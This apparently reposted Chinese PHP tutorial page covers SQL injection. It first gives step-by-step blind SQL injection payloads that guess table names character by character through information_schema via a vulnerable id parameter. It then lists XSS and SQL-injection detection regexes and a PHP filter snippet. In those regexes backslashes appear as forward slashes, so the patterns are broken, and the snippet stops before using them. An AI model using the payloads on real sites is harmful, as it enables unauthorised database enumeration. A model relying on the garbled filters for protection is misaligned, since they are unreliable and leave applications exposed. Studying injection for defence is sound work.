首页 > 开发 > PHP > 正文

php中常见的sql攻击正则表达式汇总

2024-05-04 22:17:53
字体:
来源:转载
供稿:网友

本文实例讲述了php中常见的sql攻击正则表达式。分享给大家供大家参考。具体分析如下:

我们都已经知道,在MYSQL 5+中 information_schema库中存储了所有的 库名,表明以及字段名信息。故攻击方式如下:

1. 判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。
注:正则表达式中 ^[a-z] 表示字符串中开始字符是在 a-z范围内

代码如下:index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

2. 判断第一个字符是否是a-n中的字符

代码如下:index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*

3. 确定该字符为n

代码如下:index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*

4. 表达式的更换如下

代码如下:expression like this:  '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE
这时说明表名为news ,要验证是否是该表明 正则表达式为'^news$',但是没这必要 直接判断 table_name = 'news‘ 不就行了。

5.接下来猜解其它表了 只需要修改 limit 1,1 -> limit 2,1就可以对接下来的表进行盲注了。

例如:
代码如下:$Exec_Commond  = "( /s|/S)*(exec(/s|/+)+(s|x)p/w+)(/s|/S)*";
$Simple_XSS = "( /s|/S)*((%3C)|<)((%2F)|/)*[a-z0-9%]+((%3E)|>)(/s|/S)*";
$Eval_XSS  = "( /s|/S)*((%65)|e)(/s)*((%76)|v)(/s)*((%61)|a)(/s)*((%6C)|l)(/s|/S)*";
$Image_XSS  = "( /s|/S)*((%3C)|<)((%69)|i|I|(%49))((%6D)|m|M|(%4D))((%67)|g|G|(%47))[^/n]+((%3E)|>)(/s|/S)*" ;
$Script_XSS = "( /s|/S)*((%73)|s)(/s)*((%63)|c)(/s)*((%72)|r)(/s)*((%69)|i)(/s)*((%70)|p)(/s)*((%74)|t)(/s|/S)*";
$SQL_Injection = "( /s|/S)*((%27)|(')|(%3D)|(=)|(/)|(%2F)|(")|((%22)|(-|%2D){2})|(%23)|(%3B)|(;))+(/s|/S)*";

sql攻击代码:
代码如下:<?php
function customError($errno, $errstr, $errfile, $errline)
{
    echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
    die();
}
set_error_handler("customError",E_ERROR);
$getfilter="'|(and|or)/b.+?(>|<|=|in|like)|///*.+?/*//|</s*script/b|/bEXEC/b|UNION.+?SELECT|UPDATE.+?SET|INSERT/s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)/s+(TABLE|DATABASE)";
$postfilter="/b(and|or)/b.{1,6}?(=|>|<|/bin/b|/blike/b)|///*.+?/*//|</s*script/b|/bEXEC/b|UNION.+?SELECT|UPDATE.+?SET|INSERT/s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)/s+(TABLE|DATABASE)";
$cookiefilter="/b(and|or)/b.{1,6}?(=|>|<|/bin/b|/blike/b)|///*.+?/*//|</s*script/b|/bEXEC/b|UNION.+?SELECT|UPDATE.+?SET|INSERT/s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)/s+(TABLE|DATABASE)";

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表